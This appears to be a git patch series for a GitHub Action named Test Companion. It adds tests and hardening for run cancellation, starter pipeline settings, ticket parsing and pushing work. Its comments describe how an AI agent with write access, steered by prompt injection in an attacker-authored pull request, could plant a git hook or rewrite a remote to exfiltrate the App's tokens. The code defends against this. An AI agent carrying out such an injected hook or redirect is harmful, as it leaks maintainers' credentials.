renderProposalBody({ summary: "## Test Companion — Succeeded\n\nit went fine", plan: "" }) + assert.doesNotMatch(out, /nothing here to approve/) + assert.match(out, /above/i) + }) + + test("a real plan still wins", () => { + const out = renderProposalBody({ summary: "sum", plan: "1. write a test for the thing" }) + assert.match(out, /write a test for the thing/) + assert.doesNotMatch(out, /nothing here to approve/) + }) + + test("a run that produced neither still says so", () => { + const out = renderProposalBody({ summary: "", plan: "" }) + assert.match(out, /nothing here to approve/) + }) +}) diff --git a/test-companion/test/runs.test.mjs b/test-companion/test/runs.test.mjs new file mode 100644 index 0000000..a929800 --- /dev/null +++ b/test-companion/test/runs.test.mjs @@ -0,0 +1,179 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "../src/runs.mjs" + +const inProgress = (id, over = {}) => ({ + id, + status: "in_progress", + head_sha: "abc123", + name: "Test Companion", + ...over, +}) + +describe("chooseRunsToCancel — FR-35", () => { + test("cancels a run in flight on the same commit", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1)], { selfRunId: "99", headSha: "abc123" }), [1]) + }) + + test("a queued run counts as in flight", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1, { status: "queued" })], { selfRunId: "99", headSha: "abc123" }), [1]) + }) + + /** + * The one that would hurt. The run handling the "stop" comment is itself an + * in-flight run on that commit, so a naive filter cancels the very job doing + * the cancelling — and the person is told nothing, because the process that + * owed them a reply is gone. + */ + test("never cancels itself", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(99)], { selfRunId: "99", headSha: "abc123" }), []) + }) + + test("the id is matched as a value, not a type", () => { + // GITHUB_RUN_ID arrives as a string; the API returns a number. + assert.deepEqual(chooseRunsToCancel([inProgress(99)], { selfRunId: 99, headSha: "abc123" }), []) + }) + + test("leaves finished runs alone", () => { + const done = inProgress(1, { status: "completed", conclusion: "success" }) + assert.deepEqual(chooseRunsToCancel([done], { selfRunId: "99", headSha: "abc123" }), []) + }) + + test("leaves runs on another commit alone", () => { + assert.deepEqual(chooseRunsToCancel([inProgress(1, { head_sha: "deadbee" })], { selfRunId: "99", headSha: "abc123" }), []) + }) + + /** + * "Stop" means stop Test Companion, not stop the repository's own build. A + * comment must never be a way to cancel someone else's CI. + */ + test("leaves other workflows alone when we know our own name", () => { + const theirs = inProgress(1, { name: "Build and deploy" }) + assert.deepEqual(chooseRunsToCancel([theirs], { selfRunId: "99", headSha: "abc123", workflowName: "Test Companion" }), []) + }) + + test("cancels several of ours at once", () => { + const runs = [inProgress(1), inProgress(2), inProgress(99)] + assert.deepEqual(chooseRunsToCancel(runs, { selfRunId: "99", headSha: "abc123" }), [1, 2]) + }) + + test("nothing to cancel is an empty list, not a throw", () => { + assert.deepEqual(chooseRunsToCancel(undefined, {}), []) + assert.deepEqual(chooseRunsToCancel([], {}), []) + }) +}) + +describe("runIdsFromChecks — finding OUR in-flight runs on a commit (FR-35)", () => { + /** + * The defect this replaces. cancelRunsOn asked GitHub for + * `actions/runs?head_sha=`, but a run started by + * an ISSUE_COMMENT carries the DEFAULT BRANCH's sha — that is what GitHub + * checks out for that event. The query matched nothing, so `stop` replied + * "nothing is running" with a run plainly in flight, and closing a pull + * request did not stop its run either. Both verified live on 2026-10-29. + * + * A run's own `pull_requests` field is NOT the answer: for an + * issue_comment run it reports the pull request whose HEAD is the + * checked-out branch, which is a different pull request entirely. Observed: + * a run for PR #22 reporting number 18. + * + * So the handle is our own check run. It is posted on the pull request's + * head commit, it carries the run id in external_id, and nobody else + * writes it. + */ + const check = (id, status, name = "Test Companion") => ({ name, status, external_id: String(id) }) + + test("returns the run ids of our in-flight checks", () => { + const ids = runIdsFromChecks([check(111, "in_progress"), check(222, "queued")], { selfRunId: "999" }) + assert.deepEqual(ids.sort(), ["111", "222"]) + }) + + test("never cancels the run doing the cancelling", () => { + assert.deepEqual(runIdsFromChecks([check(111, "in_progress")], { selfRunId: "111" }), []) + assert.deepEqual(runIdsFromChecks([check(111, "in_progress")], { selfRunId: 111 }), []) + }) + + test("a finished check is not something to stop", () => { + assert.deepEqual(runIdsFromChecks([check(111, "completed")], { selfRunId: "999" }), []) + }) + + /** "Stop" means stop Test Companion, never the repository's own build. */ + test("somebody else's check is left alone", () => { + assert.deepEqual(runIdsFromChecks([check(111, "in_progress", "CI / build")], { selfRunId: "999" }), []) + }) + + test("a check with no run id on it is skipped rather than guessed at", () => { + assert.deepEqual(runIdsFromChecks([{ name: "Test Companion", status: "in_progress" }], { selfRunId: "9" }), []) + }) + + test("duplicates collapse, so one run is not cancelled twice", () => { + const ids = runIdsFromChecks([check(111, "in_progress"), check(111, "queued")], { selfRunId: "999" }) + assert.deepEqual(ids, ["111"]) + }) + + test("nothing in, nothing out", () => { + assert.deepEqual(runIdsFromChecks([], {}), []) + assert.deepEqual(runIdsFromChecks(undefined, {}), []) + }) +}) + +describe("latestFailedRun — which build 'explain the failure' means", () => { + /** + * `rca`, `fix` and `verdict` need to know WHICH build failed. On a + * build_failed trigger GitHub hands us the run and the Action passes + * `run.html_url` straight through. From a pull request COMMENT nobody + * hands us one, so those three failed on the first comment with "Could + * not run" — while CAPABILITIES advertises all three by name. + * + * Nothing about that needed deciding: the same answer is a lookup. The + * newest failed workflow run on the pull request's head commit is the + * build a person means when they say "explain the failure". + */ + const run = (id, conclusion, name = "CI", status = "completed") => ({ + id, + name, + status, + conclusion, + html_url: `https://github.com/acme/shop/actions/runs/${id}`, + }) + + test("picks the newest failed run", () => { + const got = latestFailedRun([run(1, "failure"), run(9, "failure"), run(5, "success")], {}) + assert.equal(got, "https://github.com/acme/shop/actions/runs/9") + }) + + test("a green pull request has nothing to explain", () => { + assert.equal(latestFailedRun([run(1, "success"), run(2, "success")], {}), undefined) + assert.equal(latestFailedRun([], {}), undefined) + assert.equal(latestFailedRun(undefined, {}), undefined) + }) + + /** Explaining our OWN failure is a mirror, not an answer. */ + test("never picks a Test Companion run", () => { + const got = latestFailedRun([run(9, "failure", "Test Companion"), run(3, "failure", "CI")], { + selfWorkflowName: "Test Companion", + }) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + test("never picks the run doing the asking", () => { + const got = latestFailedRun([run(9, "failure"), run(3, "failure")], { selfRunId: "9" }) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + /** A run still going has not failed yet. */ + test("ignores runs that have not finished", () => { + const got = latestFailedRun([run(9, null, "CI", "in_progress"), run(3, "failure")], {}) + assert.equal(got, "https://github.com/acme/shop/actions/runs/3") + }) + + test("cancelled and timed out count as failed — they are red to a reader", () => { + assert.ok(latestFailedRun([run(4, "cancelled")], {})) + assert.ok(latestFailedRun([run(4, "timed_out")], {})) + }) + + test("a run with no url is skipped rather than guessed at", () => { + const bare = { id: 9, status: "completed", conclusion: "failure" } + assert.equal(latestFailedRun([bare, run(3, "failure")], {}), "https://github.com/acme/shop/actions/runs/3") + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs new file mode 100644 index 0000000..b020b6e --- /dev/null +++ b/test-companion/test/starter.test.mjs @@ -0,0 +1,225 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { + pipelineConfigPath, + renderNoPipelineReport, + STARTER_PIPELINE, + settingsRef, + renderSetupPr, + starterPipelineFor, +} from "../src/starter.mjs" +import { TC_EVENTS } from "../src/plan-run.mjs" + +describe("pipelineConfigPath — the same file the CLI would read", () => { + // Checking a different path than the CLI would is worse than not checking: + // the Action would report "no settings file" for a repo that has one. + test("defaults to the repository root file", () => { + assert.equal(pipelineConfigPath("", {}), "testcompanion-pipeline.yml") + }) + + test("an explicit config input wins", () => { + assert.equal(pipelineConfigPath("ci/tc.yml", { TC_PIPELINE_CONFIG: "env.yml" }), "ci/tc.yml") + }) + + test("then the environment variable, matching effectiveConfigPath in the CLI", () => { + assert.equal(pipelineConfigPath("", { TC_PIPELINE_CONFIG: "env.yml" }), "env.yml") + }) + + test("whitespace around the input is not a path", () => { + assert.equal(pipelineConfigPath(" ", {}), "testcompanion-pipeline.yml") + }) +}) + +describe("no pipeline file — FR-13", () => { + // Installing the Action and getting a red build with "open + // testcompanion-pipeline.yml: no such file or directory" is the worst + // possible first run. FR-13: a clean pass, and the file they need. + test("the report says plainly that nothing is configured yet", () => { + const out = renderNoPipelineReport("testcompanion-pipeline.yml") + assert.match(out, /testcompanion-pipeline\.yml/) + // Only the prose. The starter itself legitimately mentions failed + // builds, since explaining one is a job you can bind. + const prose = out.split("```")[0] + assert.ok(!/error|failed|cannot|could not/i.test(prose), prose) + }) + + test("and hands over a starter they can copy", () => { + const out = renderNoPipelineReport("testcompanion-pipeline.yml") + assert.match(out, /```ya?ml/) + assert.match(out, /workflows:/) + }) + + test("the starter binds at least one job, or copying it changes nothing", () => { + assert.match(STARTER_PIPELINE, /workflow:\s*\S/) + }) + + // Every `on:` in the starter must be a name the CLI's matcher knows, or the + // file we hand people silently never fires. + test("every event the starter binds is a real pipeline event", () => { + const known = new Set(Object.values(TC_EVENTS)) + const bound = [...STARTER_PIPELINE.matchAll(/^\s*on:\s*(\S+)/gm)].map((m) => m[1]) + assert.ok(bound.length > 0, "the starter binds nothing") + for (const e of bound) assert.ok(known.has(e), `${e} is not a pipeline event`) + }) + + // It is handed to someone who has not run Test Companion before. Starting + // them on a mode that writes to their repository is the wrong default. + test("the starter starts in preview, so a first run writes nothing", () => { + assert.match(STARTER_PIPELINE, /mode:\s*preview/) + }) +}) + +describe("which branch the settings file is read from — FR-7", () => { + /** + * The safety fix. Read from the branch under test, a pull request can edit + * its own rules and be obeyed: switch itself from preview to live, delete its + * own spending limit, or name its own Test Management destination. FR-7: + * read from the default branch, so an edit takes effect only once it merges. + */ + test("the repository's default branch, not the branch under test", () => { + assert.equal(settingsRef({ repository: { default_branch: "trunk" } }, {}), "trunk") + }) + + test("falls back to the checkout's own default when the payload carries none", () => { + assert.equal(settingsRef({}, { GITHUB_DEFAULT_BRANCH: "develop" }), "develop") + }) + + // Guessing "main" is better than guessing the pull request's branch: the + // worst case is "no settings file", which is a clean skip, not a run that + // obeys rules the pull request wrote for itself. + test("and main when there is nothing to go on", () => { + assert.equal(settingsRef({}, {}), "main") + }) + + test("a head branch in the payload is never used", () => { + const payload = { repository: { default_branch: "main" }, pull_request: { head: { ref: "attacker" } } } + assert.equal(settingsRef(payload, {}), "main") + }) +}) + +describe("the starter file matches the install defaults — FR-13", () => { + /** + * FR-13: "'Test this PR' started by comment, review-before-run, live; every + * other binding in preview." + * + * Live AND gated is the safe pairing, not a contradiction: a gated request + * runs in preview to produce its proposal, and only an approved run writes. + * Before the gate existed this binding had to be preview, which meant a + * repository that copied the starter could never actually write anything. + */ + // The whole point of Release 3. `test` runs the project's EXISTING suite + // and never reads the diff, so a repository copying the starter got "run + // everything" when it asked Test Companion to test a pull request. + test("the comment binding runs test-pr, not test", () => { + const onRequest = STARTER_PIPELINE.split("- name:").find((b) => b.includes("on: pr_comment")) + assert.match(onRequest, /workflow:\s*test-pr/) + }) + + test("the comment binding is live and gated", () => { + const onRequest = STARTER_PIPELINE.split("- name:").find((b) => b.includes("on: pr_comment")) + assert.ok(onRequest, "the starter must bind something to pr_comment") + assert.match(onRequest, /mode:\s*live/) + assert.match(onRequest, /approval:\s*review-before-run/) + }) + + test("every other binding stays in preview", () => { + const others = STARTER_PIPELINE.split("- name:") + .slice(1) + .filter((b) => !b.includes("on: pr_comment")) + assert.ok(others.length > 0) + for (const b of others) { + assert.match(b, /mode:\s*preview/) + } + }) + + test("the setup pull request says what it adds and that nothing runs yet", () => { + const pr = renderSetupPr("testcompanion-pipeline.yml") + assert.match(pr.branch, /test-companion/) + assert.ok(pr.title.length > 0) + assert.match(pr.body, /testcompanion-pipeline\.yml/) + }) +}) + +describe("the starter reflects the detected framework — FR-13", () => { + test("a detected framework is recorded in the file", () => { + assert.match(starterPipelineFor("Playwright"), /Playwright/) + }) + + test("the bindings are untouched by the note", () => { + const withFw = starterPipelineFor("Cypress") + assert.match(withFw, /approval:\s*review-before-run/) + assert.match(withFw, /on: pr_comment/) + }) + + test("no detection leaves the file exactly as it was", () => { + assert.equal(starterPipelineFor(undefined), STARTER_PIPELINE) + assert.equal(starterPipelineFor(""), STARTER_PIPELINE) + }) + + test("the pull request says which framework it saw", () => { + assert.match(renderSetupPr("p.yml", "Playwright").body, /Playwright/) + }) + + test("and says nothing about it when it saw none", () => { + assert.ok(!/framework/i.test(renderSetupPr("p.yml").body)) + }) +}) + +describe("the starter workflow points somewhere that exists", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + + /** + * The starter is the ONE file we can never update: once forty teams have + * merged it, changing it costs forty pull requests. So the path in it has + * to be right the first time. + * + * It said `browserstack/test-companion-action@v1` — a repository that does + * not exist. The action ships from `browserstack/github-actions`, where the + * other BrowserStack actions live, as a sub-directory. + */ + test("uses the published action path", () => { + assert.match(starter, /uses: browserstack\/github-actions\/test-companion@v\d/) + assert.doesNotMatch(starter, /browserstack\/test-companion-action/) + }) + + /** + * Seen live on 2026-10-29: tc 1.1.9 shipped mid-session and every unpinned + * run self-upgraded, losing features the Action depends on. An unpinned + * customer gets a download in the middle of their pipeline on release day. + */ + /** + * The test this replaces checked that a version was pinned and said nothing + * about the checksum — so it PINNED THE BROKEN STATE. install.sh refuses a + * pinned install with no checksum ("refusing an unverified pinned + * install"), the step runs under `set -euo pipefail`, and every repository + * that copied the starter would have died on its first run with no comment + * and no check. Reported in review of PR #3101. + * + * The rule is a PAIR: an ACTIVE `cli-version:` requires an active + * `cli-sha256:`. Commented-out guidance is fine and is how the starter now + * presents it, since a checksum cannot be written for a version that does + * not exist yet. + */ + const activeLines = starter + .split("\n") + .filter((l) => !l.trim().startsWith("#")) + .join("\n") + + test("an active cli-version is never alone — install.sh refuses that pair", () => { + const pinned = /^\s*cli-version:/m.test(activeLines) + const summed = /^\s*cli-sha256:/m.test(activeLines) + assert.equal( + pinned, + summed, + pinned + ? "cli-version is set with no cli-sha256; install.sh refuses an unverified pinned install and the job dies" + : "cli-sha256 is set with no cli-version, which does nothing", + ) + }) + + test("pinning is still explained, even when not switched on", () => { + assert.match(starter, /cli-version/) + assert.match(starter, /cli-sha256/) + }) +}) diff --git a/test-companion/test/ticket.test.mjs b/test-companion/test/ticket.test.mjs new file mode 100644 index 0000000..ec1784b --- /dev/null +++ b/test-companion/test/ticket.test.mjs @@ -0,0 +1,72 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { findTicket } from "../src/ticket.mjs" + +describe("findTicket — FR-37", () => { + test("from the branch, which is where it usually is", () => { + assert.equal(findTicket({ branch: "feat/SHOP-221-add-discount-code" }), "SHOP-221") + }) + + test("from the title", () => { + assert.equal(findTicket({ title: "SHOP-221: discount codes at checkout" }), "SHOP-221") + }) + + test("from the description", () => { + assert.equal(findTicket({ body: "Implements SHOP-221.\n\nSee the spec." }), "SHOP-221") + }) + + test("the title wins, because a person wrote it most recently", () => { + assert.equal(findTicket({ title: "SHOP-9: the real one", branch: "feat/SHOP-221-old" }), "SHOP-9") + }) + + /** + * The trap. A Jira key and a standards reference are the same shape, so a + * naive pattern turns "upgrade to UTF-8" into a run that tests against + * ticket UTF-8 and reports it confidently in the first comment. + */ + test("a standards reference is not a ticket", () => { + for (const text of [ + "switch to UTF-8", + "use SHA-256", + "move to HTTP-2", + "per RFC-3339", + "ISO-8601 dates", + "AES-256 at rest", + ]) { + assert.equal(findTicket({ title: text }), undefined, `"${text}" must not read as a ticket`) + } + }) + + test("a CVE is not a ticket either", () => { + assert.equal(findTicket({ title: "patch CVE-2026-1234" }), undefined) + }) + + test("a single letter is not a project key", () => { + assert.equal(findTicket({ title: "bump to X-1" }), undefined) + }) + + test("lowercase is not a ticket key", () => { + assert.equal(findTicket({ branch: "feat/shop-221-thing" }), undefined) + }) + + test("nothing to find is undefined", () => { + assert.equal(findTicket({ title: "fix the footer", branch: "fix/footer" }), undefined) + assert.equal(findTicket({}), undefined) + assert.equal(findTicket(), undefined) + }) + + test("the first key wins when a title names several", () => { + assert.equal(findTicket({ title: "SHOP-221 and SHOP-222" }), "SHOP-221") + }) + + // The lookbehind makes the match start at the X, so this reads as the + // project XSHOP — which is a perfectly good key — rather than quietly + // slicing SHOP-221 out of the middle of a word. + test("a longer project key is read whole, not sliced", () => { + assert.equal(findTicket({ title: "XSHOP-221" }), "XSHOP-221") + }) + + test("a real key behind a false positive is still found", () => { + assert.equal(findTicket({ title: "UTF-8 fixes for SHOP-221" }), "SHOP-221") + }) +}) From d615c6a235abfcd977011a673d3d685e9dadbbce Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:38:42 +0530 Subject: [PATCH 02/49] test-companion: run git with a clean environment and no hooks Picked up from the source repo's security review: these git commands run after the agent, which has --yolo write access to the tree, so a planted .git/hooks/pre-commit would have been executed with the App's private key in its environment. --- test-companion/src/main.mjs | 8 +++- test-companion/src/push-work.mjs | 33 ++++++++++++++++ test-companion/test/push-work.test.mjs | 54 ++++++++++++++++++++++++++ 3 files changed, 94 insertions(+), 1 deletion(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index bbb5c93..cd95928 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -55,6 +55,8 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + gitEnvFrom, + GIT_SAFE_ARGS, } from "./push-work.mjs" const env = process.env @@ -263,7 +265,11 @@ function isOnTeam(login, team) { * failure as "we could not save the work", which is reported, not fatal. */ function git(args) { - const r = spawnSync("git", args, { encoding: "utf8" }) + // A near-empty environment, and no hooks. These run AFTER the agent, which + // has had --yolo write access to the tree: a planted .git/hooks/pre-commit + // would otherwise be executed by our own `git commit` with the App's + // private key and the customer's credentials in its environment. + const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: gitEnvFrom(env) }) // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first // column for an unstaged modification, and trimming the whole output eats // it on the first line — which cost run 40845669513 ten passing tests. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index 1ea3dcb..c759c34 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -286,3 +286,36 @@ export function pushCredentialArgs(token) { const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") return ["-c", `http.extraheader=AUTHORIZATION: basic ${basic}`] } + +/** + * The environment our own git commands run in — deliberately almost empty. + * + * These run AFTER the agent, which has had --yolo write access to the working + * tree. An agent that writes `.git/hooks/pre-commit` gets it executed by our + * `git commit`, with whatever environment we hand it — and that environment + * held TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's BrowserStack + * key, because spawnSync with no `env` inherits everything. + * + * On `pull_request_target` the diff under test is attacker-authored, so that + * is a prompt-injection away from a key leaving the runner. + * + * childEnvFor already does this for the AGENT's subprocess. This is the same + * reasoning applied to the commands that run after it. Proxy settings are kept + * because a push has to reach the network; nothing else is. + */ +export function gitEnvFrom(env = {}) { + const out = {} + for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { + if (env[k] !== undefined) out[k] = env[k] + } + return out +} + +/** + * Arguments that stop git running anything the agent may have planted. + * + * `core.hooksPath` to nowhere, because a hook is code in the repository that + * `git commit` would run for us. fsmonitor off for the same reason — it is a + * configurable command git will start on its own. + */ +export const GIT_SAFE_ARGS = Object.freeze(["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index 8564688..be77556 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -9,6 +9,8 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + gitEnvFrom, + GIT_SAFE_ARGS, BOT_EMAIL, } from "../src/push-work.mjs" @@ -397,3 +399,55 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) }) }) + +describe("our own git commands must not carry secrets or run hooks", () => { + /** + * These commands run AFTER the agent, which has had --yolo write access to + * the working tree. spawnSync with no `env` inherits everything, so an + * agent that wrote .git/hooks/pre-commit would have it executed by our + * `git commit` with TC_ACTION_APP_PRIVATE_KEY, GH_TOKEN and the customer's + * BrowserStack key in its environment. On pull_request_target the diff is + * attacker-authored, so that is one prompt injection from a key leaving + * the runner. Reported by the security review of this change. + */ + const dirty = { + PATH: "/usr/bin", + HOME: "/home/runner", + HTTPS_PROXY: "http://proxy:8080", + TC_ACTION_APP_PRIVATE_KEY: "-----BEGIN PRIVATE KEY-----", + TC_ACTION_APP_ID: "12345", + GH_TOKEN: "ghs_secret", + BROWSERSTACK_ACCESS_KEY: "bs_secret", + GITHUB_TOKEN: "ghp_secret", + } + + test("no secret survives", () => { + const got = gitEnvFrom(dirty) + for (const k of [ + "TC_ACTION_APP_PRIVATE_KEY", + "TC_ACTION_APP_ID", + "GH_TOKEN", + "BROWSERSTACK_ACCESS_KEY", + "GITHUB_TOKEN", + ]) { + assert.equal(got[k], undefined, `${k} reached git`) + } + assert.ok(!JSON.stringify(got).includes("secret"), `a secret value leaked: ${JSON.stringify(got)}`) + }) + + test("what git actually needs survives", () => { + const got = gitEnvFrom(dirty) + assert.equal(got.PATH, "/usr/bin") + assert.equal(got.HOME, "/home/runner") + assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") + }) + + test("an empty environment is fine", () => { + assert.deepEqual(gitEnvFrom({}), {}) + assert.deepEqual(gitEnvFrom(), {}) + }) + + test("hooks and fsmonitor are disabled, since both run code from the repo", () => { + assert.deepEqual(GIT_SAFE_ARGS, ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) + }) +}) From 184603d02cc46800ee4125c60a6a8b74f3b62ad1 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:45:41 +0530 Subject: [PATCH 03/49] fix: scope the push credential to one URL the repo cannot rewrite MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The push carried the token as a global http.extraheader and pushed to the remote named `origin`. Both are decided by .git/config, which the agent has had write access to — `url..insteadOf` redirects `origin` to another host and a global header follows it there. The URL is now built from GITHUB_REPOSITORY, the push targets that URL, and the header is scoped to it. Also closed the config keys that make git run a program (core.sshCommand, core.pager, diff.external, gpg.program, commit.gpgsign, core.attributesFile) and disabled system/global config. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 11 +++- test-companion/src/push-work.mjs | 52 ++++++++++++++-- test-companion/test/push-work.test.mjs | 86 +++++++++++++++++++++----- 3 files changed, 130 insertions(+), 19 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index cd95928..00463f9 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -55,6 +55,7 @@ import { needsCheckout, isSameRepo, pushCredentialArgs, + pushUrlFor, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -965,7 +966,15 @@ function saveWork(saving, plan) { // Authenticate as the App when it is installed. Without this the push // uses whatever actions/checkout left in .git/config, so a team that // deleted the permissions block as we advise got a 403. - const pushed = git([...pushCredentialArgs(env.GH_TOKEN), "push", "origin", `HEAD:refs/heads/${branch}`]) + // + // The URL is built here from GITHUB_REPOSITORY rather than taken from the + // remote named `origin`. The agent has had write access to this tree, and + // `url..insteadOf` in .git/config silently redirects `origin` to any + // host — which would hand the App token to it. The credential header is + // scoped to this exact URL for the same reason. + const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) + const pushed = git([...pushCredentialArgs(env.GH_TOKEN, target), "push", target, `HEAD:refs/heads/${branch}`]) if (!pushed.ok) { // The one failure worth spelling out, because it is a settings problem // rather than a bug: the workflow's token is read-only by default. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index c759c34..089abc9 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -280,11 +280,31 @@ export function isSameRepo(headRepoFullName, repo) { * No token returns nothing, so the checkout's own credential is used — which * is correct whenever the App is not installed. */ -export function pushCredentialArgs(token) { +export function pushCredentialArgs(token, url) { const t = String(token ?? "").trim() - if (!t) return [] + const u = String(url ?? "").trim() + if (!t || !u) return [] const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") - return ["-c", `http.extraheader=AUTHORIZATION: basic ${basic}`] + // SCOPED to the one URL. A global `http.extraheader` attaches to whatever + // the push resolves to — and `url..insteadOf` in the repository's own + // config, which the agent can write, silently redirects `origin` to another + // host. Verified: one config line turns github.com into evil.test. A global + // header would have handed the App's installation token straight to it. + return ["-c", `http.${u}.extraheader=AUTHORIZATION: basic ${basic}`] +} + +/** + * Where to push, built from the trusted repository name rather than resolved + * through the repository's own config. + * + * `git push origin` asks .git/config where origin is, and the agent can + * rewrite that. Naming the URL outright means a rewritten remote is simply + * not used. + */ +export function pushUrlFor(repo, server = "https://github.com") { + const r = String(repo ?? "").trim() + if (!/^[^/\s]+\/[^/\s]+$/.test(r)) return undefined + return `${String(server).replace(/\/+$/, "")}/${r}.git` } /** @@ -308,6 +328,10 @@ export function gitEnvFrom(env = {}) { for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { if (env[k] !== undefined) out[k] = env[k] } + // Ignore the system and user config too, so the only configuration in play + // is what this process passes with -c. + out.GIT_CONFIG_NOSYSTEM = "1" + out.GIT_CONFIG_GLOBAL = "/dev/null" return out } @@ -318,4 +342,24 @@ export function gitEnvFrom(env = {}) { * `git commit` would run for us. fsmonitor off for the same reason — it is a * configurable command git will start on its own. */ -export const GIT_SAFE_ARGS = Object.freeze(["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) +export const GIT_SAFE_ARGS = Object.freeze([ + "-c", + "core.hooksPath=/dev/null", + "-c", + "core.fsmonitor=false", + // Every other key that is a way for the repository to make git run a + // program on our behalf. + "-c", + "core.sshCommand=", + "-c", + "core.pager=cat", + "-c", + "diff.external=", + "-c", + "commit.gpgsign=false", + "-c", + "gpg.program=false", + // .gitattributes can name a filter command; ignore the file entirely. + "-c", + "core.attributesFile=/dev/null", +]) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index be77556..dd1420c 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -11,6 +11,7 @@ import { pushCredentialArgs, gitEnvFrom, GIT_SAFE_ARGS, + pushUrlFor, BOT_EMAIL, } from "../src/push-work.mjs" @@ -379,25 +380,52 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * Passed with `-c` rather than written into the remote URL: a token in a * URL ends up in the reflog, in error messages and in `git remote -v`. */ - test("builds a basic auth header from the token", () => { - const args = pushCredentialArgs("ghs_abc123") + const URL = "https://github.com/acme/shop.git" + + test("builds a basic auth header SCOPED to the push url", () => { + const args = pushCredentialArgs("ghs_abc123", URL) assert.equal(args[0], "-c") - assert.match(args[1], /^http\.extraheader=AUTHORIZATION: basic /) + assert.match(args[1], /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader=AUTHORIZATION: basic /) const b64 = args[1].split("basic ")[1] assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") }) - test("no token means no argument — fall back to the checkout's own credential", () => { - assert.deepEqual(pushCredentialArgs(undefined), []) - assert.deepEqual(pushCredentialArgs(""), []) - assert.deepEqual(pushCredentialArgs(" "), []) + /** + * `url..insteadOf` in the repository's own config — which the agent + * can write — redirects a push to another host. Verified: one line turns + * github.com into evil.test. A GLOBAL header follows it there and hands + * over the App's installation token. + */ + test("the header is never global", () => { + const args = pushCredentialArgs("ghs_abc123", URL) + assert.ok( + !args.some((a) => /^http\.extraheader=/.test(a)), + `a global header would follow a rewritten remote: ${JSON.stringify(args)}`, + ) + }) + + test("no token, or no url, means no argument", () => { + assert.deepEqual(pushCredentialArgs(undefined, URL), []) + assert.deepEqual(pushCredentialArgs("", URL), []) + assert.deepEqual(pushCredentialArgs("ghs_abc123", ""), []) + assert.deepEqual(pushCredentialArgs("ghs_abc123", undefined), []) }) - /** The token must never be a bare argument that `ps` or a log would show. */ test("the token itself is never passed in the clear", () => { - const args = pushCredentialArgs("ghs_secret") + const args = pushCredentialArgs("ghs_secret", URL) assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) }) + + test("the push url comes from the repository NAME, not from git config", () => { + assert.equal(pushUrlFor("acme/shop"), "https://github.com/acme/shop.git") + assert.equal(pushUrlFor("acme/shop", "https://ghe.corp/"), "https://ghe.corp/acme/shop.git") + }) + + test("a repository name we cannot read gives no url, so no push", () => { + for (const bad of ["", " ", "acme", "acme/shop/extra", undefined, "acme shop"]) { + assert.equal(pushUrlFor(bad), undefined, `accepted ${JSON.stringify(bad)}`) + } + }) }) describe("our own git commands must not carry secrets or run hooks", () => { @@ -442,12 +470,42 @@ describe("our own git commands must not carry secrets or run hooks", () => { assert.equal(got.HTTPS_PROXY, "http://proxy:8080", "a push has to reach the network") }) - test("an empty environment is fine", () => { - assert.deepEqual(gitEnvFrom({}), {}) - assert.deepEqual(gitEnvFrom(), {}) + test("an empty environment still disables the system and user 